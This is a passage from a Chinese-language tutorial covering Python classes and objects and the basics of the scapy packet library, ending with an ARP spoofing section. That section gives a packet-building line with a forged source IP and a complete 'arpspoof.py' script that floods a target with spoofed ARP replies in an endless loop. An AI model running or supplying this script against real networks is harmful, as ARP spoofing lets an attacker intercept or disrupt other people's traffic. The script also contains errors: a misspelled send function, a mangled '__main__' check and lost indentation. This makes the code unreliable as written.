將類實例化爲對象
- 將類實例化之後的對象可採用“對象名.成員”的方式來調用類中的屬性和方法。
- 可以用內置函數isinstance()來判斷一個對象是否爲某個類的實例。
概念總結
- 面向對象是一種編程方式,此編程方式的實現是基於類和對象的使用。
- 類是一種模板,模板封裝了多個函數供使用。
- 對象是根據模板創建的實例,可調用被封裝在類中的函數。
- 模塊中則集成了大量相關的類、函數、變量。
scapy的主要功能
可以根據自己的需要定義一些列報文,並通過scapy發送出去,最後在接收回應。
scapy的優勢一方面是可以自由構造報文,另一方是接收到的迴應只解碼而不解釋,他只會如實響應報文的內容,而不提供結論,如何來判斷和利用這些響應報文,由我們自己決定。
scapy主要基於二、三、四層工作。
scapy除了可以作爲python庫被調用之外,也可以作爲單獨的工具使用。
ls()可以列出scapy支持的所有協議,每個協議都是一個類。
lsc()可以列出scapy支持的所有方法。
用help()查看幫助信息。
用display()或show()方法查看屬性信息。
a=ARP() #將ARP類實例化爲對象
arp類的屬性
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has #請求(who-has,廣播,詢問誰有)
hwsrc= 00:0c:29:1d:65:95 #源MAC
psrc= 192.168.131.159 #源IP
hwdst= 00:00:00:00:00:00 #目的MAC
pdst= 0.0.0.0 #目的IP
scapy中的發包和收包
- 只發不收
send(),在第三層發包,不關心第二層的封裝,第二層採用默認值;
sendp(),在第二層發包,需要手動指定第二層如何封裝。 - 發包且接收回復
sr()和sr1()都是在第三層發包,sr1表示只接收第一個回覆。
srp()和srp1()都是在第二層發包,srp1表示只接收第一個回覆。
默認情況下,如果目標主機不通,那麼將一直髮包,所以可以加上timeout參數。
2 scapy模塊的使用
ARP欺騙
構造併發送ARP欺騙數據包
- 構造數據包,加上二層封裝。
pkt = Ether(dst=‘ff:ff:ff:ff:ff:ff’)/ARP(pdst=‘192.168.131.160’)
3 編寫ARP欺騙腳本
#ARP欺騙腳本
import sys
import time
from scapy.all import *
def arp_spoof(ip1,ip2):
try:
pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip1,psrc=ip2)
senddp(pkt)
return
except:
return
def main():
if len(sys.argv)!=3:
print("使用方法:./arpspoof.py 目標主機IP 被欺騙主機IP")
sys.exit()
ip1=str(sys.argv[1]).strip()
ip2=str(sys.argv[2]).strip()
while True:
arp_spoof(ip1,ip2)
time.sleep(0.5)
if _name_=='_main_':
main()